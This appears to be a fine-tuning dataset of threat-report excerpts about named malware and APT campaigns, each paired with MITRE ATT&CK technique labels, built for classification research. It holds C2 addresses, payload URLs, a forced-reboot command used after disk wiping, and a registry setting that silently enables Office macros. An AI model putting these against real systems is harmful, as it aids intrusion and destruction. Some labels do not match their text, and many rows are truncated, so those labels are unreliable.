"For this analysis, we looked at version 2.14.845, which has a configuration that differs from the others Dreambot versions in that the domain generation algorithm (DGA) is not used: therefore, the DGA variables and parameters are missing",['T1568.002 - Domain Generation Algorithms'],fine_tune
"Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. Instead, it writes it’s keylog to a registry key that it uses as a buffer","['T1027 - Obfuscated Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443",['T1124 - System Time Discovery'],fine_tune
"As described in other blog posts, Remcos appears to be developed in C++. As the release notes show, it is actively maintained. 17, 2017 Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. A good example is the anti-analysis section: It is checking for an outdated artifact, the 'SbieDll.dll'. In our opinion, there are not many analysts using Sandboxie these days anymore. Below you can see the Remcos VMware detection code: The following is a code sample from aldeid.com: The blog referenced above has already described several functions of Remcos features in detail. We would like to focus on Remcos' cryptographic implementation. It uses RC4 pretty much everywhere when there is a need to decode or encode any data. Examples are registry entries, C2 server network communication or file paths shown below: The exepath registry data is base64-encoded, RC4-encrypted data. This can be converted into the typical RC4 pseudo code",['T1027 - Obfuscated Files or Information'],fine_tune
"The Word document has a malicious macro in it and, when opened by the victim, it will drop and execute a file in a specific folder",['T1204.002 - User Execution: Malicious File'],fine_tune
"This time, APT15 opted for a DNS based backdoor: RoyalDNS. The persistence mechanism used by RoyalDNS was achieved through a service called ‘Nwsapagent",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"To gain access to victim environments, the threat actor began by targeting handpicked employees using LinkedIn messaging and email, advertising fake jobs to lure recipients into checking into the supposed offers. In one case, we uncovered evidence indicating that the attacker had established communication with a victim via email and convinced them to click on a Google Drive URL purporting to contain an attractive job advert. Once clicked, the URL displayed the message, “Online preview is not available,” then presented a second URL leading to a compromised or rogue domain, where the victim could download the payload under the guise of a job description",['T1566.003 - Spearphishing via Service'],fine_tune
"TajMahal’ is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins we’ve ever seen for an APT toolset",['T1027 - Obfuscated Files or Information'],fine_tune
"When loaded, the FoggyWeb backdoor (originally named Microsoft.IdentityServer.WebExtension.dll by its developer) functions as a passive and persistent backdoor that allows abuse of the Security Assertion Markup Language (SAML) token. The backdoor configures HTTP listeners for actor-defined URIs that mimic the structure of the legitimate URIs used by the target’s AD FS deployment. The custom listeners passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor. This version of FoggyWeb configures listeners for the following hardcoded URI patterns (which might vary per target","['T1550 - Use Alternate Authentication Material', 'T1040 - Network Sniffing']",fine_tune
"After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data",['T1529 - System Shutdown/Reboot'],fine_tune
"Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command “net use",['T1049 - System Network Connections Discovery'],fine_tune
1) Loads the image resource with name `T__6541957882` into memory. 3) Adds `0xEE` to the bytes to decode the DLL. 4) Reflectively loads decoded DLL into memory and executes it,['T1620 - Reflective Code Loading'],fine_tune
Kimsuky has also used a Mac OS Python implant that gathers data from Mac OS systems and sends it to a C2 server (Command and Scripting Interpreter: Python [T1059.006]). The Python program downloads various implants based on C2 options specified after the filedown.php (see figure 4,"['T1071.003 - Mail Protocols', 'T1059.006 - Command and Scripting Interpreter: Python']",fine_tune
"PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. MSGet typically downloads encoded binaries from hard-coded URLs. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"1) Right after midnight, the attackers connected to a machine on the targeted network most probably via RDP. 3) The attacker used psexec.exe to execute “Cobalt.Client.exe”, which is the Pay2Key ransomware itself, on different machines within the organization","['T1090 - Proxy', 'T1090.001 - Proxy: Internal Proxy']",fine_tune
"If the system is a 64-bit version of Windows, it downloads and executes a specific 64-bit version of the malware thanks to a powershell script",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Remote templates are a feature of Microsoft Word which allow a document to load a template to be used in a document – this template can be externally hosted, either on a file share, or on the internet. The template is then loaded when the document is opened. The Inception attackers use this feature in a malicious context as shown in Figure 1 below",['T1221 - Template Injection'],fine_tune
"Collect document files with the suffixes "".txt"", "".doc"" and "".xls"" in the Internet cache directory of the IE browser",['T1005 - Data from Local System'],fine_tune
"If the user does not have permissions to add a service, the installation routine attempts to add persistence by creating the following registry key that will run the functional code within Emissary via an exported function named ""DllRegister",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Malicious obfuscated VBA code is executed when the macro is first enabled. In some cases, the malicious macro is also executed when the user activates a fake text box",['T1204.002 - User Execution: Malicious File'],fine_tune
"This group uses spear-phishing emails to deliver both malicious Word and PDF documents, and attempts to social engineer the victim into an infection rather than trying to exploit a software vulnerability",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability (CVE 2019-10149) (External Remote Services [T1133]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability (CVE-2018-13379) for Initial Access [TA0001] and a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [TA0004] within the network (Valid Accounts [T1078]). These vulnerabilities can also be leveraged to compromise other devices on the network (Lateral Movement [TA0008]) and to maintain Persistence [TA0003","['T1133 - External Remote Services', 'T1210 - Exploitation of Remote Services']",fine_tune
UnionCryptoUpdater.exe does not immediately download the stage 2 malware but instead downloads it after a time specified by the C2 server. This delay could be implemented to prevent researchers from directly obtaining the stage 2 malware,['T1497.003 - Time Based Evasion'],fine_tune
It registers as a system service to ensure its automatic execution at every system startup by adding the following registry keys,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services",['T1497.003 - Time Based Evasion'],fine_tune
"Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample",['T1573.001 - Symmetric Cryptography'],fine_tune
"From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication",['T1573.001 - Symmetric Cryptography'],fine_tune
"Persistence was established via a crontab entry for a non-root user. With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated",['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
"In analyzing FinFisher, the first obfuscation problem that requires a solution is the removal of junk instructions and “spaghetti code”, which is a technique that aims to confuse disassembly programs. Spaghetti code makes the program flow hard to read by adding continuous code jumps, hence the name. An example of FinFisher’s spaghetti code is shown below","['T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027 - Obfuscated Files or Information']",fine_tune
"In April 2018 we discovered a new Octopus sample pretending to be Telegram Messenger with a Russian interface. We couldn´t find any legitimate software that this malware appears to be impersonating; in fact, we don´t believe it exists. Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen",['T1036 - Masquerading'],fine_tune
"Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later",['T1027 - Obfuscated Files or Information'],fine_tune
The DNS resolution is performed using DNS over HTTPS (DoH). The malware sends an HTTP POST request to a Google DNS Server (8.8.8.8) using the following headers,['T1572 - Protocol Tunneling'],fine_tune
"While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. In our case the attacker abused cmstp to execute JavaScript scriptlet (XML with JS) that is downloaded from the e-dropbox[.]biz site. Although some security solutions will block all PureBasic programs (wrong move – there are plenty of legitimate PureBasic programs in use today), it’s a smart move made by the attacker group. The right side of the pair is the name of the JavaScript in the next stage (stage 4) , while the left side of the pair represents the file that will be downloaded as part of stage 5. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Stage 5 - JavaScript Backdoor . The last stage JavaScript is downloaded from hxxps://server.vestacp[.]kz/robots.txt. Organizations should expect to see much more coming from all Cobalt Group factions during the next year",['T1105 - Ingress Tool Transfer'],fine_tune
"To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. We will also present various payloads, including an RPC-based backdoor and a backdoor leveraging OneDrive as its Command and Control (C&amp;C) server. Then, it calls VirtualProtect to allow writing at the retrieved address. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. RPC backdoor . Turla has developed a whole set of backdoors relying on the RPC protocol. OneDrive credentials in PowerStallion script . It is interesting to note that Turla operators used the free email provider GMX again, as in the Outlook Backdoor and in LightNeuron. Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. Modification of MAC times of the local log file . We believe this backdoor is a recovery access tool in case the main Turla backdoors, such as Carbon or Gazer, are cleaned and operators can no longer access the compromised computers. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools",['T1106 - Native API'],fine_tune
"Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account &lt;user sftp&gt; acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account","['T1021.001 - Remote Services: Remote Desktop Protocol', 'T1090.001 - Proxy: Internal Proxy']",fine_tune
"Following initial access, GRIM SPIDER focuses on collecting credentials from the compromised hosts and uses existing RDP in an attempt to get a domain administrator account and access to the Windows Domain Controller. This process can take several iterations of harvesting credentials, connecting to new systems and establishing persistence",['T1078 - Valid Accounts'],fine_tune
"All versions generate a list of files to encrypt by parsing the available drives and directories, but will avoid adding files that are of relevance to the malware",['T1083 - File and Directory Discovery'],fine_tune
"BOOM.exe, tracked by Microsoft as “BoomBox”, can be best described as a malicious downloader. The downloader is responsible for downloading and executing the next-stage components of the infection. These components are downloaded from Dropbox (using a hardcoded Dropbox Bearer/Access token","['T1105 - Ingress Tool Transfer', 'T1102 - Web Service']",fine_tune
"There doesn’t appear to be anything unique when it comes to the Word Document and its standard ploy of pushing recipients to “enable content” and run a malicious macro. An analysis of the link from the phishing e-mail contains a base64-encoded string representing the recipient’s address. Using that string, attackers insert the recipient’s name into the filename of the World document",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The downloader collects basic system information and sends it via an HTTP POST request to a hardcoded command and control (C&amp;C) server (Figure 10,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
The C2 domain name for the DNS communication is hardcoded and obfuscated using XOR. The backdoor will generate a subdomain using a custom domain generation algorithm (DGA) and try to send an initial beacon to the C2 via DNS tunneling,['T1568.002 - Domain Generation Algorithms'],fine_tune
"However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction",['T1195.002 - Compromise Software Supply Chain'],fine_tune
"The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware. If they are installed, nothing will be dropped. We'll now break down the 5kplayer trojanized installer",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"In the case of the observed exploit, specifically when handling Microsoft PowerPoint files, the packagers allows a Package OLE object to reference arbitrary external files, such as INF files, from untrusted sources. This will cause the referenced files to be downloaded in the case of INF files, to be executed with specific commands - An attacker can exploit this vulnerability to execute arbitrary code but will need a specifically crafted file and use social engineering methods (observed in this campaign) to convince a user to open it",['T1203 - Exploitation for Client Execution'],fine_tune
"The directory is used as temporary storage for files containing collected data about the compromised computer. Such files share a common naming convention, encryption algorithm and structure. They are encrypted by a simple variation of the XOR cipher which is used across the malware components. The type of the file can be derived from the 4-byte control sequences placed at the beginning of the file",['T1560.003 - Archive via Custom Method'],fine_tune
"The key descriptor’s string contains Bayren_Munchen which seems likely to refer to the German soccer team FC Bayern Munich. Regardless, it is not the content of the key descriptor – but its length – that matters, with that length used to retrieve the XOR key used to encrypt the payload",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The older “mode” variant of BitPaymer uses the Windows registry for persistence, while the newer service variant will attempt to install itself as a service",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"A while loop is used to join a series of data blobs into the allocated buffer, and the contents of this buffer are then decrypted with an XOR based algorithm. Once decrypted, the crypter jumps into the data blob which turns out to be a shellcode responsible for decrypting the actual payload. The shellcode copies the encrypted payload into another buffer allocated by calling the VirtualAlloc API, and then decrypts this with an XOR based algorithm in a similar way to that described above. To execute the payload, the shellcode replaces the crypter’s code in memory with the code of the payload just decrypted, and jumps to its entry point",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"TA453, an Iranian-state aligned actor, masqueraded as British scholars to covertly target individuals of intelligence interest to the Iranian government in what Proofpoint has dubbed Operation SpoofedScholars. The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page. The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites. Proofpoint has worked with the appropriate authorities to conduct victim notification",['T1584.001 - Domains'],fine_tune
"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\&lt;OfficeVersionNumber&gt;.0\Word\Security\VBAWarnings = 0x1",['T1057 - Process Discovery'],fine_tune
The code injected into an msiexec.exe sends a beacon signal to the CnC server and awaits commands,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Run commands on Windows system remotely using Winexe: Winexe is a GNU/Linux-based application that allows users to execute commands remotely on WindowsNT/2000/XP/2003/Vista/7/8 systems. It installs a service on the remote system, executes the command, and uninstalls the service. Winexe allows execution of most of the windows shell commands",['T1569.002 - System Services: Service Execution'],fine_tune
As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button. It seems that the attackers are depending on the victims to decide entirely on their own whether to click it or not,['T1204.002 - User Execution: Malicious File'],fine_tune
"TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware",['T1012 - Query Registry'],fine_tune
"Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions",['T1083 - File and Directory Discovery'],fine_tune
"Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time",['T1027 - Obfuscated Files or Information'],fine_tune
"The Bazar backdoor is a new stealthy malware, part of the TrickBot group’s toolkit arsenal and leveraged for high-value targets. The Bazar loader is used to download and execute the Bazar backdoor on the target system. The goal of this backdoor is to execute binaries, scripts, modules, kill processes, and then remove itself from the compromised machine. The samples used in this campaign heavily rely on control flow obfuscation",['T1104 - Multi-Stage Channels'],fine_tune
"To evade protections, Egregor create a Group Policy Object to disable Windows Defender and try to takedown any anti-virus console prior to ransomware execution",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"The malware contains 1 function, the purpose is to open the drive of the infected system (\\.\PhysicalDrive0) and write the following data to the MBR: You can see the ""Are you Happy. After writing to the MBR, the malware reboots the machine with the following command: c:\windows\system32\shutdown /r /t 1 After the reboot, the MBR displays the following string to the user: The link to the other campaigns was the following PDB path",['T1529 - System Shutdown/Reboot'],fine_tune
"The figure below shows the example of two of several possible command codes. Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal",['T1105 - Ingress Tool Transfer'],fine_tune
"The macro finishes by running the dropped VBScript ""AppPool.vbs"" file by running ""wscript C:\ProgramData\WindowsAppPool\AppPool.vbs"". When first executed, the ""AppPool.vbs"" file will create the following scheduled task to execute every minute, which provides BONDUPDATER persistence and the ability to continually run on the system as the Trojan does not have a main loop to carry out its functionality",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment. Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"At periodic offsets, the bootloader overwrites sectors of an infected host’s entire hard drive, with a message similar to the ransom note, padded with additional bytes (Figure 2",['T1561.001 - Disk Content Wipe'],fine_tune
"Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. If the drive type is not a CD-ROM, files on the drive are encrypted. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files","['T1083 - File and Directory Discovery', 'T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes. It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. 9) Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes,['T1490 - Inhibit System Recovery'],fine_tune
"After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service. In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&amp;C server or opening a port to wait for external connections and load incoming executables",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started",['T1135 - Network Share Discovery'],fine_tune
"This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability",['T1190 - Exploit Public-Facing Application'],fine_tune
"The email attachment is encrypted and stored in the compressed package, and a decryption password is provided in the mail body to bypass the security detection of the email gateway",['T1027 - Obfuscated Files or Information'],fine_tune
"Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. It then captures Track 1 and Track 2 credit card (CC) data. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. Other versions may just encode the plain Credit Card Data it with Base64","['T1005 - Data from Local System', 'T1560 - Archive Collected Data']",fine_tune
"Lastly, the attackers used Comodo code-signing certificates several times during the course of the campaign. Many of the above TTPs are not unique to ITG08, but collectively, and with the use of More_eggs, strengthen the link to this group",['T1047 - Windows Management Instrumentation'],fine_tune
"Other interesting keys include LSMinimumSystemVersion which indicates the (malicious) application is compatible with OSX 10.7 (Lion), and NSUIElement key which tells the OS to execute the application without a dock icon nor menu (i.e",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. One specific Microsoft document drew our attention. 446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25) This Microsoft Word document was sent via email to several industries across the US and Switzerland. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"After installation, a keylogging routine begins. The malware writes keystrokes and window information to a filename in the present working directory with the following filename",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"A separate communication channel is created for each installed module. The communication protocol used is TLS over TCP. The communication is handled with the HP-Socket library. All the messages are RC4 encrypted using the hardcoded key. If the size of the message to be transferred is greater than or equal to 4KB, it is first compressed using zlib’s Deflate implementation",['T1095 - Non-Application Layer Protocol'],fine_tune
"This component achieves persistence through the Run registry key and has full backdoor capabilities: it can download and execute binaries, run arbitrary commands or upload files from the victim computer to the C&amp;C server",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started",['T1529 - System Shutdown/Reboot'],fine_tune
"Shathak or TA551 is the name some security researchers have given to a specific distribution method that uses password-protected ZIP archives as attachments to malspam. It has used Word document templates targeting English-, Italian-, German- and Japanese-speaking recipients. Shathak/TA551 has been active at least as early as February 2019",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes ""--"" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash ""\"" character between the two and by appending the string ""-sample.html",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The malware scans for both open TCP ports 135 (RPC) and 1433(MSSQL) against the target, be it internal or external, and probes for the credential weakness in attempt to gain unauthorized access",['T1046 - Network Service Discovery'],fine_tune
"Since FoggyWeb runs in the context of the main AD FS process, it inherits the AD FS service account permissions required to access the AD FS configuration database. This contrasts with tools such as ADFSDump that must be executed under the user context of the AD FS service account",['T1005 - Data from Local System'],fine_tune
"If the scanning target is an IP address, Xbash will try to scan many TCP or UDP ports. Here are part of services they’re probing and the ports used",['T1046 - Network Service Discovery'],fine_tune
Samples compiled in 2017 and 2018 were hard-coded with specific URI patterns to communicate with the C2 server via HTTP POST requests,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Dedicated methods resolve additional strings and API calls at runtime, rendering the PE even more difficult to analyze. Below is an example of the method responsible for resolving the .bazar domains. It loads an obfuscated string, and deobfuscates it using the first character of the domain name as a XOR key for the rest of the string",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
EvilBunny is a multi-threaded bot with an integrated scripting engine. It incorporates a Lua engine and downloads and executes Lua scripts to reach a certain level of polymorphism. The Lua scripts can call back into the C++ code to alter the malware behavior at runtime,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Despite this indictment and other disclosures of COBALT DICKENS campaigns, the threat group (also known as Silent Librarian) shows no signs of stopping its activity as of this publication. CTU™ researchers have observed the threat actors using free online services as part of their operations, including free certificates, domains, and publicly available tools",['T1608.005 - Link Target'],fine_tune
"This function keeps receiving data from the system clipboard and then determines if it is a valid bitcoin wallet address. If yes, it overwrites the wallet address with the attacker’s","['T1115 - Clipboard Data', 'T1565.002 - Transmitted Data Manipulation']",fine_tune
"After being extricated from the network, Dark Halo then returned a second time, exploiting a vulnerability in the organization's Microsoft Exchange Control Panel. Near the end of this incident, Volexity observed the threat actor using a novel technique to bypass Duo multi-factor authentication (MFA) to access the mailbox of a user via the organization's Outlook Web App (OWA) service. Finally, in a third incident, Dark Halo breached the organization by way of its SolarWinds Orion software in June and July 2020",['T1190 - Exploit Public-Facing Application'],fine_tune
"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. We assess with moderate confidence that these documents were sent to victims via phishing emails. One such trojanized document was created on April 23, 2019. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. Screenshot of the stager found in the document The stager then reached out to the actor-controlled C2 server located at hxxp://38[.]132[.]99[.]167/crf.txt. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. rCecms=BlackWater"". Notably, the trojanized document's macro was also called ""BlackWater,"" and the value ""BlackWater"" was hard coded into the PowerShell script",['T1204.002 - User Execution: Malicious File'],fine_tune
"If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
Microsoft discovered these new attacker tools and capabilities in some compromised customer networks and observed them to be in use from August to September 2020. Further analysis has revealed these may have been on compromised systems as early as June 2020,['T1047 - Windows Management Instrumentation'],fine_tune
The script itself decodes and executes a large blob of base64-encoded text and converts it into a huge byte array,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Ebury v1.4 has a fallback mechanism whereby a domain generation algorithm (DGA) is used when the attacker doesn’t connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury will exfiltrate the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there is a minor change to the DGA itself","['T1568.002 - Domain Generation Algorithms', 'T1008 - Fallback Channels']",fine_tune
Figure 7: Dropbox-themed landing page with a lure asking users to click a button that links to the malicious document,['T1204.001 - Malicious Link'],fine_tune
